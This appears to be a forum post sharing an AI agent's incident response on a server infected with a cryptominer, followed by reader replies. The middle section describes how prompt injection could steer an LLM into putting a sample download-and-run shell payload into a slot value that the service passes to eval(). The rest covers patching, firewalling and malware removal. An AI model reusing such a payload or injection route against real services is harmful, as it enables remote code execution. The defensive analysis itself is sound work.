机器装服务监听的的0.0.0.0被入侵

溯源完成。下面是完整报告。



---

一、入侵原因(溯源结论)



入侵发生在 2026-07-20 00:44:45,journal 里从这一刻起爆出一连串 sudo ... session opened for user root,就是恶意释放器(dropper)以 root 权限连续执行安装步骤的痕迹。之后 00:44 一次性落地了全部恶意文件。



排除的入口:

- SSH 不是入口。SSH 在非标准端口 1950,且 PasswordAuthentication no(仅公钥)。journal 里没有任何 Accepted 登录记录。

- Web/nginx 不是明显入口。00:40-00:44 的 nginx 日志只有正常的 deepwiki 流量和常规互联网扫描(masscan、/.git/config、/goform 探测),都返回 404/正常,没看到被打穿的 payload。

- 没有新增用户。/etc/passwd 自 3 月起未变,只有 root 和 colin。



最可能的入口 —— 暴露在公网的 RDP(xrdp,0.0.0.0:3389):

- xrdp 日志 27MB,塞满了来自世界各地陌生 IP(116.0.2.178、147.124.210.117…)的连接尝试,说明 3389 对整个互联网敞开、长期被爆破。

- 存在可交互登录的普通用户 colin(uid 1000)。RDP 支持密码登录,只要该用户口令不够强,或 xrdp 本身有漏洞,就能被攻进来拿到本地权限,再提权到 root。

- 这是本次唯一"对公网开放 + 支持密码认证 + 一直被打"的面,时间线也吻合。



次要嫌疑 —— 直接绑 0.0.0.0 的自研 Python 服务(/root/mcp):

- 18007 reject_infer.py、18008 intent_infer.py、18009 chatnlu_infer.py、28080 start.py 全部监听 0.0.0.0,看不到鉴权。任何一个若存在命令注入 / 反序列化 / eval 类漏洞,也能直接 RCE。虽然日志里没抓到实锤,但这类服务本就不该裸奔在公网。



一个需要你亲自确认的点: /root/.ssh/authorized_keys 里那把 ssh-key-2025-05-31,修改时间是 2025-09-20,早于本次入侵——所以它不是这次加的。要么是你自己的 key,要么是更早一次入侵留下的后门。请确认这把 key 是不是你的;如果不是,说明这台机器可能在去年 9 月就已经被埋了后门。



---

二、重装后要改的东西(清单)



网络暴露面(最重要,这是根因)



1. RDP(3389)绝不要对公网开放。真要用远程桌面,只允许通过 VPN 或 SSH 隧道访问,或用防火墙把 3389 限制到白名单 IP。裸奔的 RDP 基本等于被入侵倒计时。

2. /root/mcp 那几个 Python 服务改成只绑 127.0.0.1(18007-18009、28080),需要外部访问就走 nginx 反代 + 鉴权,别直接绑 0.0.0.0。

3. 上一个默认拒绝的防火墙(ufw/nftables),只放行确实要对外的端口(如 80/443),其余一律内网/本地。

4. 复查其它对外端口:28080、1950(SSH,建议保留公钥登录、可加 fail2ban)、80/443(nginx)、3000/3001(next/node,若无需公网就绑本地)。



账号与凭据(必须全部轮换,视为已泄露)



5. 所有密码重置:root、colin,尤其 colin 若走过 RDP,一定用强口令。

6. 所有 SSH key 重新生成,旧的 authorized_keys 全部作废重建;确认没有陌生公钥。

7. 轮换所有密钥/令牌——机器被 root 控制过,任何存在磁盘上的凭据都要当作已泄露:

  - root crontab 里那个 Telegram bot token(7325318381:AAG...)和 chat id

  - deepwiki 的 API keys(OpenAI/Google 等,api/config/ 与 .env)

  - openclaw、mcp、各服务的 token / 数据库口令 / redis 密码

8. Redis 目前是 127.0.0.1:6379(好),重装后保持只绑本地并设密码,别对外。



系统加固



9. RDP 用户禁止密码爆破:装 fail2ban,或干脆卸载 xrdp、改用更安全的远程方案。

10. 关闭不必要的服务(cups/631、turnserver 若不用)。

11. 定期 apt upgrade,尤其 xrdp、nginx、openssh。

12. 加个简单的外连告警(比如监控是否有进程连非常规高位端口/矿池段 45.x),挖矿木马第一时间会暴露。



数据迁移注意(重装时)



13. 只备份数据,绝不备份可执行文件 / 二进制 / 未知脚本。代码从干净的 git 仓库重新拉,不要从这台机器直接拷 node_modules、.env(重建)、任何 /usr/bin 下的东西。

14. 迁移前对要保留的代码做一次 git status/git diff 核对,确认没有被塞进后门(尤其启动脚本、data_pipeline.py 这类会执行的文件)。



---

关于止血



我还没动任何东西(纯只读排查)。现在机器上矿机 softirq 和看门狗 xgvhwpak 还在跑、还在杀你的 top/ps。如果你打算立刻重装,那就不用清理了,直接备份数据→重装最干净。如果重装前还想先降负载/停矿机,我可以按"先杀看门狗、再杀矿机、清持久化"的顺序帮你操作——但那是破坏性步骤,而且清不彻底会复活,你确认要做我再动手。



你先告诉我两件事:(1) ssh-key-2025-05-31 那把 key 是你自己的吗?(2) 你是准备直接重装,还是想让我先临时止血?





    

  

:是 MCP 服务被入侵的,不是 RDP。 而且严格说,MCP 是被"打洞"(RCE),不是"爆破口令";RDP 倒是真被爆破了,但爆破失败了、根本没进来。



判定依据(为什么排除 RDP)



┌───────────────────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐

│       证据        │                                                             说明                                                              │

├───────────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤

│ RDP 无法认证      │ xrdp 报 certificate or private key file is not readable,TLS 层直接瘫痪。公网那 27MB 的连接尝试全卡在握手,到不了输密码那一步。 │

├───────────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤

│ sesman 零成功登录 │ 认证日志里只有 7-19 白天两次 AUTHFAIL(来自 204.2.188.43),入侵时刻 00:44 前后 一次 RDP 认证都没有。                            │

├───────────────────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤

│ 提权路径对不上    │ RDP 若以 colin(uid 1000)进来再提权,sudo 会是 by (uid=1000)。实际是 by (uid=0)——一进来就是 root。                              │

└───────────────────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘



为什么是 MCP



- 决定性的一条:00:44:41 起,dropper 以 root 身份、从 PWD=/usr/lib/lib 连续执行 ./rondo react.x86_64 / i686 / i586 / i486 / armv6l(多架构挖矿释放器逐个试)。第一行代码就是 root。

- 全系统"对公网开放 + 以 root 运行"的服务,只有 /root/mcp 那几个:

  - start.py → Flask 开发服务器,0.0.0.0:28080

  - reject_infer.py / intent_infer.py → FastAPI,0.0.0.0:18007 / 18008

  - chatnlu_infer.py → FastAPI,0.0.0.0:18009

  - 四个进程全是 Uid=0,且没有任何鉴权。

- root 进程被 RCE = 攻击者瞬间就是 root,无需提权——和上面的证据严丝合缝。

- SSH 是仅公钥、端口 1950,journal 无任何登录记录,排除。nginx/deepwiki 在反代后面,日志里只有正常流量和扫描,没有被打穿的痕迹。



按排除法 + root-from-start 这条正证,入口就是这几个裸奔在公网、以 root 运行的 MCP 服务之一。



一点诚实的边界



我没能定位到具体是哪个端点、哪一行漏洞。原因:这些服务没有请求级日志(看不到那条恶意请求),我读过的几个 handler 里也没有直接的 eval/exec/os.system(用户输入),torch.load 加载的是本地模型文件、不是洞。所以真正的 RCE 很可能来自:某个我还没逐行读完的路由、或一个有漏洞的第三方依赖(这类服务带 Flask 开发服务器 / torch / transformers 一大堆),或反序列化/SSRF 类问题。要彻底定位,得逐行审 start.py 全部路由 + 依赖版本比对 CVE。但这不影响结论:方向是 MCP,不是 RDP。



对"重装要改什么"的直接影响



原来清单里"RDP 别暴露"依然要做(它是另一个定时炸弹),但头号整改项变成 MCP:



1. MCP 服务绝不能以 root 跑——建一个专用低权限用户运行,即使被打也不是 root。

2. 只绑 127.0.0.1,对外一律走 nginx 反代 + 鉴权(token/Basic Auth/IP 白名单)。

3. 别用 Flask 开发服务器(Werkzeug)对外,换 gunicorn/uvicorn 生产配置,且加访问日志(否则下次还是查不到)。

4. 重装前,如果这套 MCP 代码要复用,先把它当成有漏洞的代码审一遍再上线,尤其所有 @app.post 路由怎么处理外



需要的话,我可以现在逐行把 /root/mcp/start.py 和三个 infer 服务的全部路由审一遍,尝试把那个具体漏洞找出 被再打一次。要我审吗?





    

  

审查范围与结论



网络暴露的 4 个服务:start.py(Flask/SocketIO :28080)、reject_infer.py(:18007)、intent_infer.py(:18008)、chatnlu_infer.py(:18009),外加它们调用的 client/*、function_call/*、dm/*、mcp_core/*。amp_server.py/music_server.py 是 transport='stdio' 的 MCP 工具、不监听网络,interview/build_site.py 是文件触发的静态构建、也不对外——这三个排除。



发现一个真实的代码级 RCE 原语,加上一组把"暴露"放大成"直接沦为 root"的架构问题。



---

🔴 关键:slot_process.py 用 eval() 处理槽位值



/root/mcp/function_call/slot_process.py:28-32



if key in ["NUMBER", "RATIO"]:

    if '%' in value:

        value = float(eval(value.replace('%', '')) / 100)   # 第30行

    else:

        value = float(eval(value))                          # 第32行



可达路径(全程无鉴权,公网可打):

POST http://<ip>:18009/chatnlu-server/v1  {"query": "..."}

  → predict(query)                       # chatnlu_infer.py:185

  → send_messages → 大模型返回 function-call

  → intent_slot(result, ...)             # slot_process.py:45

  → 遍历槽位, 当 key 映射为 NUMBER/RATIO 时

  → value_process → eval(value)          # ← 任意 Python 代码执行



value 最终来自大模型 function-call 的 arguments,而 arguments 是模型对用户 query 的解析结果。攻击者可通过 prompt 注入诱导模型在 NUMBER/RATIO 槽位里吐出 __import__('os').system('curl … | sh') 之类的字符串,eval 就地执行。



诚实的边界:这条链要绕过大模型一层,不是"一个请求直达 eval"那种 100% 稳定的商用蠕虫入口,所以我不能断言它就是 7-20 那次的确切入口(那几个服务没有请求级日志,恶意请求看不到了)。但它是整套代码里唯一的任意代码执行原语,且公网可达、跑在 root 下——是头号嫌疑,无论如何必须修。



修法:eval 换成 float() 或 decimal,解析失败就丢弃:

def _to_number(s):

    try:

        s = s.strip()

        return float(s[:-1]) / 100 if s.endswith('%') else float(s)

    except (ValueError, AttributeError):

        return None

永远不要对模型/用户产出的字符串用 eval。



---

🟠 把"暴露"放大成"直接 root"的架构问题(这才是这次真正致命的一层)



这几条本身不是漏洞,但正是它们让任意一个 RCE 都=瞬间拿到 root、无需提权,和入侵证据(dropper 一进来就是 uid=0)完全吻合:



1. 全部以 root 运行。4 个进程 Uid=0。任何一个被打穿,攻击者直接是 root。→ 改用专用低权限用户(如 mcpsvc)运行。

2. 全部 host='0.0.0.0' 且零鉴权。18007/18008/18009/28080 对整个互联网敞开,没有 token、没有 IP 白名单。→ 改绑 127.0.0.1,对外统一走 nginx 反代 + 鉴权。

3. Flask 开发服务器上生产。start.py:301 用 socketio.run(..., allow_unsafe_werkzeug=True, host='0.0.0.0'),Werkzeug 明确警告不可用于生产。→ 换 gunicorn + eventlet/gevent worker。

4. SocketIO cors_allowed_origins='*'(start.py:24)。任意网站都能连你的 WebSocket 触发整条 NLU 管线。→ 收紧到可信域名。

5. 无访问日志。这几个服务不记请求,导致这次入侵的恶意请求无迹可查,溯源被迫靠排除法。→ 加请求日志(至少来源 IP + 路径 + 时间),下次才查得到。



---

🟡 次要 / 加固项



- 密钥硬编码在环境变量、且服务 root 可读:chatnlu_infer.py 读 API_KEY/BASE_URL(豆包)、amp_server.py 读 AMAP_MAPS_API_KEY。机器已沦陷,这些 key 全部视为泄露,重装后必须轮换。

- reject_infer.py / intent_infer.py 本身干净(纯 BERT 推理),但同样跑 root、绑 0.0.0.0、无鉴权,同上整改。

- intent_slot 里 except: return "未知-无" 这种裸 except 会吞掉一切错误,给攻击者试探留空间,建议收窄。



---

一句话总结



代码层面,slot_process.py 的 eval() 是唯一的 RCE 原语,也是这次入侵最可能的入口(经 /chatnlu-server/v1 公网可达);而**"root 运行 + 0.0.0.0 + 无鉴权 + Flask 开发服务器"这组配置,是让一个 RCE 变成整机 root 沦陷的根本原因**——这与入侵证据(00:44 一进来就是 root)完全对得上。



重装后按优先级:①去掉 eval;②服务降权到非 root;③只绑 127.0.0.1、对外加 nginx 鉴权;④换生产 WSGI + 收紧 CORS;⑤加访问日志;⑥轮换所有 key。





    

  

持久化已全部清除(exit 2 只是最后那个 ls 找不到已删文件,符合预期)。现在做第二件事:关闭漏洞——把 slot_process.py 里的 eval() 换成安全的数值解析。



● Update(~/mcp/function_call/slot_process.py)

Added 11 lines

import json



def _parse_number(value):

    """安全解析 NUMBER/RATIO 槽位值，绝不用 eval。解析失败则原样返回。"""

    s = str(value).strip()

    try:

        if '%' in s:

            return float(s.replace('%', '')) / 100

        return float(s)

    except (ValueError, TypeError):

        return value



def value_process(key, value):

    position_map = {

        "主驾": "MAIN",

Allowed by auto mode classifier



● Update(~/mcp/function_call/slot_process.py)

Added 1 line, removed 4 lines

        "主副驾": "FRONT"

    }

    if key in ["NUMBER", "RATIO"]:

        if '%' in value:

            value = float(eval(value.replace('%', '')) / 100)

        else:

            value = float(eval(value))

        value = _parse_number(value)

    elif key in ["POSITION"]:

        value = position_map.get(value, value)

    elif key == "对话时长":

Allowed by auto mode classifier



补丁已打。验证语法、确认无残留 eval/exec,然后加防火墙规则把这些暴露的服务从公网挡掉(这是即时封堵,即使服务没重启也打不进来)。



  Ran 1 shell command



代码层已确认无残留。Docker 占用了 ip/ip6 表,我新建独立的 inet 表加拦截规则,避免冲突。规则策略设为 accept、只对这几个端口做定向 drop——允许本机/内网/Docker(私有网段)访问,只挡公网,这样服务间 localhost 调用不受影响,SSH(1950)和 Web(80/443)也完全不动。



  Ran 1 shell command



防火墙规则已装,公网访问这些端口现在被丢弃(本机/内网/Docker 不受影响)。注意:运行中的 chatnlu 进程内存里还是旧代码,但外部已被防火墙挡住,漏洞对公网即时关闭;补丁会在服务重启后生效。看看这些 MCP 服务是否受 systemd 管理,能否干净重启。



  Ran 1 shell command



mcp-nlu.service 管理着 chatnlu(带 eval 的服务),且本机回环仍通(内部调用不受影响)。用 systemctl 干净重启它,让补丁生效。



  Ran 1 shell command



服务已重启,新进程加载了打过补丁的代码。漏洞在代码层(已修复并重载)和网络层(防火墙)双重关闭。做最后一次全面复查。



  Ran 1 shell command



第 1 步的"残留"是我脚本的误报——softirq 匹配到了内核线程 ksoftirqd(合法)。快速确认这几个都是内核线程、不是伪装的矿机。



  Ran 1 shell command



全部确认:那 5 个是合法内核线程(ksoftirqd、kdevtmpfs),旧矿机 PID 1875073 已消失。清理完成。更新记忆,然后给你总结。



  Wrote 1 memory



清理完成。以下是本次操作的总结。



✅ 已完成:漏洞关闭 + 入侵文件清除



杀掉的恶意进程

- 矿机 softirq(PID 1875073)、看门狗 xgvhwpak(3 个进程)全部 kill,已确认消失。系统负载从 4.68 → 0.35,矿机确实停了。



删除的入侵文件 / 持久化(共 8 处)



┌────────────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐

│    类型    │                                                      文件                                                      │

├────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤

│ 矿机二进制 │ /usr/bin/softirq、/usr/bin/tgukdb、/usr/bin/ccphxb                                                             │

├────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤

│ 释放器     │ /etc/rondo/、/usr/lib/lib/                                                                                     │

├────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤

│ 开机自启   │ /etc/init.d/rondo、/etc/cron.d/rondo、/etc/rc.local(已还原干净)                                                │

├────────────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────┤

│ cron 自启  │ /etc/crontab、/var/spool/cron/root、root crontab 的 @reboot 行(保留了你自己的 fetch_news / anyrouter 两条任务) │

└────────────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘



▎ ⚠️ 关键细节:这些文件都被加了 immutable + append-only 锁,而且恶意程序把 /usr/bin/chattr 删掉了专门防你解锁。我是用 Python 直接调 ioctl 清掉锁标志才删成功的。



关闭的漏洞

- function_call/slot_process.py 的 eval() RCE → 改成安全的 _parse_number(),语法校验通过,全代码库已无任何 eval/exec/os.system。

- 重启了 mcp-nlu.service,新进程(PID 1919080)已加载补丁代码。

- 加了 nft 防火墙表 inet secfix:把 18007/18008/18009/28080/3389 对公网的访问全部 drop,只放行本机/内网/Docker——服务间 localhost 调用、SSH(1950)、Web(80/443)都不受影响。



最终复查:恶意进程无残留、持久化全清、无矿池/C2 连接、防火墙在位、补丁生效。(复查脚本里报的 /proc/13,20,... 是内核线程 ksoftirqd/kdevtmpfs 的误报,已逐一确认。)



---

⚠️ 必须知道的三点



1. 这只是止血,不等于机器干净了。 恶意程序有过完整 root 权限、还删了系统命令(chattr)——无法排除它留下了我没发现的更深后门(篡改的系统二进制、内核模块等)。重装的计划不要取消。

2. 防火墙规则重启后会失效(没做持久化,因为你要重装了)。如果这台机器在重装前会重启,记得重新执行,或临时把那几个服务停掉。

3. 密钥仍未更换——上一条消息列的那批(SSH 私钥、GitHub/Cloudflare token、各 API key、DB 口令、邮箱密码等)全部还是泄露状态,重装时按清单轮换。



需要的话,我可以帮你把 nft 规则写成 /etc/nftables.conf 持久化,或者写重装前的备份脚本。



    

  

哇，AI说恶意进程无残留、持久化全清就是全部清除了吗？

@curfew7283 #5 没有还更严重了

好像是用RCE爆破的？

用的密码登录吗？

密钥登陆会有风险吗？

@rspimmdot #7 是，有的服务直接被注入指令的

^-^ 我的机器也吃过这个XMRig，我是公网暴露了RDP端口忘记关了